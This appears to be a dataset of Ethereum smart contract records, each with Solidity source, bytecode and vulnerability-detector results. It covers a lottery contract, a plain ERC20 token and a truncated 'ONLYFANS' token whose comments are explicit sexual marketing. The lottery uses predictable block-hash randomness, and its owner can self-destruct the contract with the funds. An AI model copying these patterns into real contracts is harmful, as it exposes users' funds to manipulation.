balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title Slot Ticket token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract SlotTicket is StandardToken, Ownable {
string public name = "Slot Ticket";
uint8 public decimals = 0;
string public symbol = "SLOT";
string public version = "0.1";
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) onlyOwner returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount); // so it is displayed properly on EtherScan
return true;
}
function destroy() onlyOwner {
// Transfer Eth to owner and terminate contract
selfdestruct(owner);
}
}
contract Slot is Ownable, Pausable {
using SafeMath for uint256;
// this token is like a receipt for the ticket, it wont affect the prize distribution
SlotTicket public token;
// every participant has an account index, the winners are picked from here
// all winners are picked in order from the single random int
// needs to be cleared after every game
mapping (uint => mapping (uint => address)) participants; // game number => counter => address
uint256[8] prizes = [4 ether,
2 ether,
1 ether,
500 finney,
500 finney,
500 finney,
500 finney,
500 finney];
uint8 constant SIZE = 100; // size of the lottery
uint32 constant JACKPOT_SIZE = 1000000; // one in a million
uint32 constant INACTIVITY = 160000; // block after which refunds can be claimed
uint256 constant public PRICE = 100 finney;
uint256 public jackpotAmount;
uint256 public gameNumber;
uint256 public gameStarted;
bool public undestroyable;
address wallet;
uint256 counter;
event ParticipantAdded(address indexed _participant, uint256 indexed _game, uint256 indexed _number);
event PrizeAwarded(uint256 indexed _game , address indexed _winner, uint256 indexed _amount);
event JackpotAwarded(uint256 indexed _game, address indexed _winner, uint256 indexed _amount);
event GameRefunded(uint256 _game);
function Slot(address _wallet) payable {
token = new SlotTicket();
wallet = _wallet;
jackpotAmount = msg.value;
gameNumber = 0;
counter = 0;
gameStarted = block.number;
undestroyable = false;
}
function() payable {
// fallback function to buy tickets
buyTicketsFor(msg.sender);
}
function buyTicketsFor(address beneficiary) whenNotPaused() payable {
require(beneficiary != 0x0);
require(msg.value >= PRICE);
// calculate number of tickets, issue tokens and add participant
// every (PRICE) buys a ticket, the rest is returned
uint256 change = msg.value%PRICE;
uint256 numberOfTickets = msg.value.sub(change).div(PRICE);
token.mint(beneficiary, numberOfTickets);
addParticipant(beneficiary, numberOfTickets);
// Return change to msg.sender
msg.sender.transfer(change);
}
// private functions
function addParticipant(address _participant, uint256 _numberOfTickets) private {
// if number of tickets exceeds the size of the game, tickets are added to next game
for (uint256 i = 0; i < _numberOfTickets; i++) {
// using gameNumber instead of counter/SIZE since games can be cancelled
participants[gameNumber][counter%SIZE] = _participant;
ParticipantAdded(_participant, gameNumber, counter%SIZE);
// msg.sender triggers the drawing of lots
if (++counter%SIZE == 0) {
awardPrizes();
// Split the rest, increase game number
distributeRemaining();
increaseGame();
}
// loop continues if there are more tickets
}
}
function rand(uint32 _size) constant private returns (uint256 randomNumber) {
// Providing random numbers within a deterministic system is, naturally, an impossible task.
// However, we can approximate with pseudo-random numbers by utilising data which is generally unknowable
// at the time of transacting. Such data might include the block’s hash.
// The last blockhash used should be random enough. Adding the rest of these deterministic factors doesn't change much.
return uint256(keccak256(block.blockhash(block.number-1), block.blockhash(block.number-100)))%_size;
}
function awardPrizes() private {
uint256 winnerIndex = rand(SIZE);
// hash result of two digit number (index) with 4 leading zeroes will win
bool jackpotWon = winnerIndex == rand(JACKPOT_SIZE);
// loop throught the prizes
for (uint8 i = 0; i < prizes.length; i++) {
if (jackpotWon && i==0) {
distributeJackpot(winnerIndex);
}
participants[gameNumber][winnerIndex%SIZE].transfer(prizes[i]); // msg.sender pays the gas, he's refunded later, % to wrap around
PrizeAwarded(gameNumber, participants[gameNumber][winnerIndex%SIZE], prizes[i]);
// increment index to the next winner to receive the next prize
winnerIndex++;
}
}
function distributeJackpot(uint256 _winnerIndex) private {
participants[gameNumber][_winnerIndex].transfer(jackpotAmount);
JackpotAwarded(gameNumber, participants[gameNumber][_winnerIndex], jackpotAmount);
jackpotAmount = 0; // later on in the code sequence funds will be added
}
function distributeRemaining() private {
jackpotAmount = jackpotAmount.add(250 finney); // add to jackpot
wallet.transfer(249 finney); // *cash register sound*
msg.sender.transfer(1 finney); // repay gas to msg.sender
}
function increaseGame() private {
gameNumber++;
gameStarted = block.number;
}
// public functions
function refundGameAfterLongInactivity() {
require(block.number.sub(gameStarted) >= INACTIVITY);
require(counter%SIZE != 0); // nothing to refund
// refunds for everybody can be requested after the game has gone (INACTIVITY) blocks without a conclusion
for (uint8 i = 0; i < counter%SIZE; i++) { // not counter.size, but modulus of SIZE
participants[gameNumber][i].transfer(PRICE);
}
// reduce the counter
counter -= counter%SIZE;
GameRefunded(gameNumber);
increaseGame();
}
function destroy() onlyOwner {
require(!undestroyable);
// Transfer Eth to owner and terminate contract
// unfair, since we could abscond with the jackpot, so it is disabled in production
token.destroy();
selfdestruct(owner);
}
function changeWallet(address _newWallet) onlyOwner {
require(_newWallet != 0x0);
wallet = _newWallet;
}
function makeUndestroyable() onlyOwner {
undestroyable = true;
// can't be reversed, jackpot only claimable by actual win
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,496 |
0xe798ee9b716122463ea6f30198f5659c60bfed4e
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is DetailedERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ZeonToken is StandardToken {
constructor() public DetailedERC20("ZeonToken", "ZNC", 18) {
totalSupply_ = 50000000000000000000000000000;
balances[msg.sender] = totalSupply_;
}
}
|
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063661884631461028a57806370a08231146102ef57806395d89b4114610346578063a9059cbb146103d6578063d73dd6231461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b5565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106a7565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610a70565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a83565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d14565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b610d5d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfb565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061101f565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121b565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156106ee57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561073c57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107c757600080fd5b61081982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ae82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061098082600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a290919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b94576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c28565b610ba783826112a290919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610df35780601f10610dc857610100808354040283529160200191610df3565b820191906000526020600020905b815481529060010190602001808311610dd657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e3857600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e8657600080fd5b610ed882600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f6d82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110b082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112bb90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112b057fe5b818303905092915050565b600081830190508281101515156112ce57fe5b809050929150505600a165627a7a723058200384e474140c5277f20d9d55195e0d50a9221779861ce56a6aeb8418b9024d550029
|
{"success": true, "error": null, "results": {}}
| 8,497 |
0xcb548e89de9087d2b2cf339a6b69d6aa4a2acb4f
|
// SPDX-License-Identifier: Unlicensed
/*
Enjoy quality live pornography? Well OnlyFans DAO is about to make it even better! As a loving fan of the content subscription service, our founder believes in sharing the joy and create a jubilant world with our fellow appreciators of the erotic art.
OnlyFans DAO is built with this vision in mind, with every dollar you invest in our token , we shall invest the transaction tax in subscribing content from your beloved content creator of your choice, through the voting system of the DAO, we shall decide which content creator to subscribe in! Ready for more action of stocking ripping and pussy thrusting? Join Us now!
*/
//Telegram: OnlyFansDAO
//Website: onlyfans-dao.com
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ONLYFANS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ONLYFANS";
string private constant _symbol = "OF";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5e10 * 10**9;
uint256 public _maxWalletSize = 1e11 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
